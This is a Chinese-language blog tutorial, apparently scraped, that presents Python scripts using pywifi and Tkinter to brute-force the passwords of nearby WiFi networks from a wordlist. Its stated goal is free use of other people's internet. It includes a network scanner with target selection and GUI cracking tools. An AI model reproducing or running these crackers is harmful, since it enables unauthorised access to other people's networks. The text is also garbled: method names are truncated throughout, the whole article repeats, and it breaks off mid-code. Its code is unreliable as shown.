2023年7月31日发(作者:)
利⽤Python探测附近WIFI密码的详细代码前⾔本⽂将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴⼒破解,从⽽实现免费蹭⽹。⽆图形界⾯先来看看没有图形界⾯版的爆破脚本。WIFI爆破import pywififrom pywifi import constimport timeimport datetime# 测试连接,返回链接结果def wifiConnect(pwd): # 抓取⽹卡接⼝ wifi = () # 获取第⼀个⽆线⽹卡 ifaces = aces()[0] # 断开所有连接 nect() (1) wifistatus = () if wifistatus == _DISCONNECTED: # 创建WiFi连接⽂件 profile = e() # 要连接WiFi的名称 = "Tr0e" # ⽹卡的开放状态 = _ALG_OPEN # wifi加密算法,⼀般wifi加密算法为wps (_TYPE_WPA2PSK) # 加密单元 = _TYPE_CCMP # 调⽤密码 = pwd # 删除所有连接过的wifi⽂件 _all_network_profiles() # 设定新的连接⽂件 tep_profile = _network_profile(profile) t(tep_profile) # wifi连接时间 (2) if () == _CONNECTED: return True else: return False else: print("已有wifi连接")# 读取密码本def readPassword(): success = False print("****************** WIFI破解 ******************") # 密码本路径 path = "" # 打开⽂件 file = open(path, "r") start = () while True: try: pwd = ne() # 去除密码的末尾换⾏符 pwd = ('n') bool = wifiConnect(pwd) if bool: print("[*] 密码已破解:", pwd) print("[*] WiFi已⾃动连接") success = True break else: # 跳出当前循环,进⾏下⼀次循环 print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd)) except: continue end = () if(success): print("[*] 本次破解WIFI密码⼀共⽤了多长时间:{}".format(end - start)) print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0)if __name__=="__main__": readPassword()代码运⾏效果:脚本优化以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下⾯进⾏改造优化:import pywifiimport timefrom pywifi import const# WiFi扫描模块def wifi_scan(): # 初始化wifi wifi = () # 使⽤第⼀个⽆线⽹卡 interface = aces()[0] # 开始扫描 () for i in range(4): (1) print('r扫描可⽤ WiFi 中,请稍后。。。(' + str(3 - i), end=')') print('r扫描完成!n' + '-' * 38) print('r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) # 扫描结果,scan_results()返回⼀个集,存放的是每个wifi对象 bss = _results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解决乱码问题 wifi_name_and_signal = (100 + , ('raw_unicode_escape').decode('utf-8')) wifi_name_(wifi_name_and_signal) # 存⼊列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化输出 while num < len(wifi_name_list): print('r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list# WIFI破解模块def wifi_password_crack(wifi_name): # 字典路径 wifi_dic_path = input("请输⼊本地⽤于WIFI暴⼒破解的密码字典(txt格式,每个密码占据1⾏)的路径:") with open(wifi_dic_path, 'r') as f: # 遍历密码 for pwd in f: # 去除密码的末尾换⾏符 pwd = ('n') # 创建wifi对象 wifi = () # 创建⽹卡对象,为第⼀个wifi⽹卡 interface = aces()[0] # 断开所有wifi连接 nect() # 等待其断开 while () == 4: # 当其处于连接状态时,利⽤循环等待其断开 pass # 创建连接⽂件(对象) profile = e() # wifi名称 = wifi_name # 需要认证 = _ALG_OPEN # wifi默认加密算法 (_TYPE_WPA2PSK) = _TYPE_CCMP # wifi密码 = pwd # 删除所有wifi连接⽂件 _all_network_profiles() # 设置新的wifi连接⽂件 tmp_profile = _network_profile(profile) # 开始尝试连接 t(tmp_profile) start_time = () while () - start_time < 1.5: # 接⼝状态为4代表连接成功(当尝试时间⼤于1.5秒之后则为错误密码,经测试测正确密码⼀般都在1.5秒内连接,若要提⾼准确性可以设置为2s或以上,相应暴⼒破解速度就会变慢) if () == 4: print(f'r连接成功!密码为:{pwd}') exit(0) else: print(f'r正在利⽤密码 {pwd} 尝试破解。', end='')# 主函数def main(): # 退出标致 exit_flag = 0 # ⽬标编号 target_num = -1 while not exit_flag: try: print('WiFi万能钥匙'.center(35, '-')) # 调⽤扫描模块,返回⼀个排序后的wifi列表 wifi_list = wifi_scan() # 让⽤户选择要破解的wifi编号,并对⽤户输⼊的编号进⾏判断和异常处理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('请选择你要尝试破解的wifi:')) # 如果要选择的wifi编号在列表内,继续⼆次判断,否则重新输⼊ if target_num in range(len(wifi_list)): # ⼆次确认 while not choose_exit_flag: try: choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) # 对⽤户输⼊进⾏⼩写处理,并判断 if () == 'y': choose_exit_flag = 1 elif () == 'n': break # 处理⽤户其它字母输⼊ else: print('只能输⼊ Y/N 哦o(* ̄︶ ̄*)o') # 处理⽤户⾮字母输⼊ except ValueError: print('只能输⼊ Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('请重新输⼊哦(*^▽^*)') except ValueError: print('只能输⼊数字哦o(* ̄︶ ̄*)o') # 密码破解,传⼊⽤户选择的wifi名称 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise eif __name__ == '__main__': main()脚本运⾏效果如下:上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供⽤户⾃主选择需要暴⼒破解的 WIFI,同时还可灵活指定暴⼒破解的字典,相对⽽⾔体验感提升了不少。进⼀步也可以将上述脚本打包⽣成 exe ⽂件,双击运⾏效果如下:图形化界⾯下⾯基于 Python 的 GUI 图形界⾯开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴⼒破解界⾯⼯具。关于 Tkinter 库的语法可参见:简单版UIfrom tkinter import *from pywifi import constimport pywifiimport time# 主要步骤:# 1、获取第⼀个⽆线⽹卡# 2、断开所有的wifi# 3、读取密码本# 4、设置睡眠时间def wificonnect(str, wifiname): # 窗⼝⽆线对象 wifi = () # 抓取第⼀个⽆线⽹卡 ifaces = aces()[0] # 断开所有的wifi nect() (1) if () == _DISCONNECTED: # 创建wifi连接⽂件 profile = e() = wifiname # wifi的加密算法 (_TYPE_WPA2PSK) # wifi的密码 = str # ⽹卡的开发 = _ALG_OPEN # 加密单元,这⾥需要写点加密单元否则⽆法连接 = _TYPE_CCMP # 删除所有的wifi⽂件 _all_network_profiles() # 设置新的连接⽂件 tep_profile = _network_profile(profile) # 连接 t(tep_profile) (3) if () == _CONNECTED: return True else: return Falsedef readPwd(): # 获取wiif名称 wifiname = ().strip() path = r'./' file = open(path, 'r') while True: try: # 读取 mystr = ne().strip() # 测试连接 bool = wificonnect(mystr, wifiname) if bool: (END, '密码正确' + mystr) (END) () () break else: (END, '密码错误' + mystr) except: continue# 创建窗⼝root = Tk()('wifi破解')ry('500x400')# 标签label = Label(root, text='输⼊要破解的WIFI名称:')# 定位()# 输⼊控件entry = Entry(root, font=('微软雅⿊', 14))(row=0, column=1)# 列表控件text = Listbox(root, font=('微软雅⿊', 14), width=40, height=10)(row=1, columnspan=2)# 按钮button = Button(root, text='开始破解', width=20, height=2, command=readPwd)(row=2, columnspan=2)# 显⽰窗⼝op()脚本运⾏效果:UI升级版以上图形界⾯未允许选择密码字典,下⾯进⾏优化升级:from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport alog # 在Gui中打开⽂件浏览import ebox # 打开tkiner的消息提醒框class MY_GUI(): def __init__(self, init_window_name): _window_name = init_window_name # 密码⽂件路径 _value = StringVar() # 设置可变内容 # 获取破解wifi账号 _wifi_value = StringVar() # 获取wifi密码 _wifimm_value = StringVar() # 抓取⽹卡接⼝ = () # 抓取第⼀个⽆线⽹卡 = aces()[0] # 测试链接断开所有链接 nect() (1) # 休眠1秒 # 测试⽹卡是否属于断开状态 assert () in [_DISCONNECTED, _INACTIVE] def __str__(self): # ⾃动会调⽤的函数,返回⾃⾝的⽹卡 return '(WIFI:%s,%s)' % (, ()) # 设置窗⼝ def set_init_window(self): _window_("WIFI破解⼯具") _window_ry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下对象都是对于labelframe中添加的 (column=0, row=0, padx=10, pady=10) = Button(labelframe, text="搜索附近WiFi", command=_wifi_list).grid(column=0, row=0) = Button(labelframe, text="开始破解", command=ssWord).grid(column=1, row=0) = Label(labelframe, text="⽬录路径:").grid(column=0, row=1) = Entry(labelframe, width=12, textvariable=_value).grid(column=1, row=1) = Button(labelframe, text="添加密码⽂件⽬录", command=_mm_file).grid(column=2, row=1) _text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2) _input = Entry(labelframe, width=12, textvariable=_wifi_value).grid(column=1, row=2) _mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2) _mm_input = Entry(labelframe, width=10, textvariable=_wifimm_value).grid(column=3, row=2,sticky=W) _labelframe = LabelFrame(text="wifi列表") _(column=0, row=3, columnspan=4, sticky=NSEW) # 定义树形结构与滚动条 _tree = ew(_labelframe, show="headings", columns=("a", "b", "c", "d")) = bar(_labelframe, orient=VERTICAL, command=_) _ure(yscrollcommand=) # 表格的标题 _("a", width=50, anchor="center") _("b", width=100, anchor="center") _("c", width=100, anchor="center") _("d", width=100, anchor="center") _g("a", text="WiFiID") _g("b", text="SSID") _g("c", text="BSSID") _g("d", text="signal") _(row=4, column=0, sticky=NSEW) _("
2023年7月31日发(作者:)
利⽤Python探测附近WIFI密码的详细代码前⾔本⽂将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴⼒破解,从⽽实现免费蹭⽹。⽆图形界⾯先来看看没有图形界⾯版的爆破脚本。WIFI爆破import pywififrom pywifi import constimport timeimport datetime# 测试连接,返回链接结果def wifiConnect(pwd): # 抓取⽹卡接⼝ wifi = () # 获取第⼀个⽆线⽹卡 ifaces = aces()[0] # 断开所有连接 nect() (1) wifistatus = () if wifistatus == _DISCONNECTED: # 创建WiFi连接⽂件 profile = e() # 要连接WiFi的名称 = "Tr0e" # ⽹卡的开放状态 = _ALG_OPEN # wifi加密算法,⼀般wifi加密算法为wps (_TYPE_WPA2PSK) # 加密单元 = _TYPE_CCMP # 调⽤密码 = pwd # 删除所有连接过的wifi⽂件 _all_network_profiles() # 设定新的连接⽂件 tep_profile = _network_profile(profile) t(tep_profile) # wifi连接时间 (2) if () == _CONNECTED: return True else: return False else: print("已有wifi连接")# 读取密码本def readPassword(): success = False print("****************** WIFI破解 ******************") # 密码本路径 path = "" # 打开⽂件 file = open(path, "r") start = () while True: try: pwd = ne() # 去除密码的末尾换⾏符 pwd = ('n') bool = wifiConnect(pwd) if bool: print("[*] 密码已破解:", pwd) print("[*] WiFi已⾃动连接") success = True break else: # 跳出当前循环,进⾏下⼀次循环 print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd)) except: continue end = () if(success): print("[*] 本次破解WIFI密码⼀共⽤了多长时间:{}".format(end - start)) print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0)if __name__=="__main__": readPassword()代码运⾏效果:脚本优化以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下⾯进⾏改造优化:import pywifiimport timefrom pywifi import const# WiFi扫描模块def wifi_scan(): # 初始化wifi wifi = () # 使⽤第⼀个⽆线⽹卡 interface = aces()[0] # 开始扫描 () for i in range(4): (1) print('r扫描可⽤ WiFi 中,请稍后。。。(' + str(3 - i), end=')') print('r扫描完成!n' + '-' * 38) print('r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) # 扫描结果,scan_results()返回⼀个集,存放的是每个wifi对象 bss = _results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解决乱码问题 wifi_name_and_signal = (100 + , ('raw_unicode_escape').decode('utf-8')) wifi_name_(wifi_name_and_signal) # 存⼊列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化输出 while num < len(wifi_name_list): print('r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list# WIFI破解模块def wifi_password_crack(wifi_name): # 字典路径 wifi_dic_path = input("请输⼊本地⽤于WIFI暴⼒破解的密码字典(txt格式,每个密码占据1⾏)的路径:") with open(wifi_dic_path, 'r') as f: # 遍历密码 for pwd in f: # 去除密码的末尾换⾏符 pwd = ('n') # 创建wifi对象 wifi = () # 创建⽹卡对象,为第⼀个wifi⽹卡 interface = aces()[0] # 断开所有wifi连接 nect() # 等待其断开 while () == 4: # 当其处于连接状态时,利⽤循环等待其断开 pass # 创建连接⽂件(对象) profile = e() # wifi名称 = wifi_name # 需要认证 = _ALG_OPEN # wifi默认加密算法 (_TYPE_WPA2PSK) = _TYPE_CCMP # wifi密码 = pwd # 删除所有wifi连接⽂件 _all_network_profiles() # 设置新的wifi连接⽂件 tmp_profile = _network_profile(profile) # 开始尝试连接 t(tmp_profile) start_time = () while () - start_time < 1.5: # 接⼝状态为4代表连接成功(当尝试时间⼤于1.5秒之后则为错误密码,经测试测正确密码⼀般都在1.5秒内连接,若要提⾼准确性可以设置为2s或以上,相应暴⼒破解速度就会变慢) if () == 4: print(f'r连接成功!密码为:{pwd}') exit(0) else: print(f'r正在利⽤密码 {pwd} 尝试破解。', end='')# 主函数def main(): # 退出标致 exit_flag = 0 # ⽬标编号 target_num = -1 while not exit_flag: try: print('WiFi万能钥匙'.center(35, '-')) # 调⽤扫描模块,返回⼀个排序后的wifi列表 wifi_list = wifi_scan() # 让⽤户选择要破解的wifi编号,并对⽤户输⼊的编号进⾏判断和异常处理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('请选择你要尝试破解的wifi:')) # 如果要选择的wifi编号在列表内,继续⼆次判断,否则重新输⼊ if target_num in range(len(wifi_list)): # ⼆次确认 while not choose_exit_flag: try: choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) # 对⽤户输⼊进⾏⼩写处理,并判断 if () == 'y': choose_exit_flag = 1 elif () == 'n': break # 处理⽤户其它字母输⼊ else: print('只能输⼊ Y/N 哦o(* ̄︶ ̄*)o') # 处理⽤户⾮字母输⼊ except ValueError: print('只能输⼊ Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('请重新输⼊哦(*^▽^*)') except ValueError: print('只能输⼊数字哦o(* ̄︶ ̄*)o') # 密码破解,传⼊⽤户选择的wifi名称 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise eif __name__ == '__main__': main()脚本运⾏效果如下:上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供⽤户⾃主选择需要暴⼒破解的 WIFI,同时还可灵活指定暴⼒破解的字典,相对⽽⾔体验感提升了不少。进⼀步也可以将上述脚本打包⽣成 exe ⽂件,双击运⾏效果如下:图形化界⾯下⾯基于 Python 的 GUI 图形界⾯开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴⼒破解界⾯⼯具。关于 Tkinter 库的语法可参见:简单版UIfrom tkinter import *from pywifi import constimport pywifiimport time# 主要步骤:# 1、获取第⼀个⽆线⽹卡# 2、断开所有的wifi# 3、读取密码本# 4、设置睡眠时间def wificonnect(str, wifiname): # 窗⼝⽆线对象 wifi = () # 抓取第⼀个⽆线⽹卡 ifaces = aces()[0] # 断开所有的wifi nect() (1) if () == _DISCONNECTED: # 创建wifi连接⽂件 profile = e() = wifiname # wifi的加密算法 (_TYPE_WPA2PSK) # wifi的密码 = str # ⽹卡的开发 = _ALG_OPEN # 加密单元,这⾥需要写点加密单元否则⽆法连接 = _TYPE_CCMP # 删除所有的wifi⽂件 _all_network_profiles() # 设置新的连接⽂件 tep_profile = _network_profile(profile) # 连接 t(tep_profile) (3) if () == _CONNECTED: return True else: return Falsedef readPwd(): # 获取wiif名称 wifiname = ().strip() path = r'./' file = open(path, 'r') while True: try: # 读取 mystr = ne().strip() # 测试连接 bool = wificonnect(mystr, wifiname) if bool: (END, '密码正确' + mystr) (END) () () break else: (END, '密码错误' + mystr) except: continue# 创建窗⼝root = Tk()('wifi破解')ry('500x400')# 标签label = Label(root, text='输⼊要破解的WIFI名称:')# 定位()# 输⼊控件entry = Entry(root, font=('微软雅⿊', 14))(row=0, column=1)# 列表控件text = Listbox(root, font=('微软雅⿊', 14), width=40, height=10)(row=1, columnspan=2)# 按钮button = Button(root, text='开始破解', width=20, height=2, command=readPwd)(row=2, columnspan=2)# 显⽰窗⼝op()脚本运⾏效果:UI升级版以上图形界⾯未允许选择密码字典,下⾯进⾏优化升级:from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport alog # 在Gui中打开⽂件浏览import ebox # 打开tkiner的消息提醒框class MY_GUI(): def __init__(self, init_window_name): _window_name = init_window_name # 密码⽂件路径 _value = StringVar() # 设置可变内容 # 获取破解wifi账号 _wifi_value = StringVar() # 获取wifi密码 _wifimm_value = StringVar() # 抓取⽹卡接⼝ = () # 抓取第⼀个⽆线⽹卡 = aces()[0] # 测试链接断开所有链接 nect() (1) # 休眠1秒 # 测试⽹卡是否属于断开状态 assert () in [_DISCONNECTED, _INACTIVE] def __str__(self): # ⾃动会调⽤的函数,返回⾃⾝的⽹卡 return '(WIFI:%s,%s)' % (, ()) # 设置窗⼝ def set_init_window(self): _window_("WIFI破解⼯具") _window_ry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下对象都是对于labelframe中添加的 (column=0, row=0, padx=10, pady=10) = Button(labelframe, text="搜索附近WiFi", command=_wifi_list).grid(column=0, row=0) = Button(labelframe, text="开始破解", command=ssWord).grid(column=1, row=0) = Label(labelframe, text="⽬录路径:").grid(column=0, row=1) = Entry(labelframe, width=12, textvariable=_value).grid(column=1, row=1) = Button(labelframe, text="添加密码⽂件⽬录", command=_mm_file).grid(column=2, row=1) _text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2) _input = Entry(labelframe, width=12, textvariable=_wifi_value).grid(column=1, row=2) _mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2) _mm_input = Entry(labelframe, width=10, textvariable=_wifimm_value).grid(column=3, row=2,sticky=W) _labelframe = LabelFrame(text="wifi列表") _(column=0, row=3, columnspan=4, sticky=NSEW) # 定义树形结构与滚动条 _tree = ew(_labelframe, show="headings", columns=("a", "b", "c", "d")) = bar(_labelframe, orient=VERTICAL, command=_) _ure(yscrollcommand=) # 表格的标题 _("a", width=50, anchor="center") _("b", width=100, anchor="center") _("c", width=100, anchor="center") _("d", width=100, anchor="center") _g("a", text="WiFiID") _g("b", text="SSID") _g("c", text="BSSID") _g("d", text="signal") _(row=4, column=0, sticky=NSEW) _("
发布评论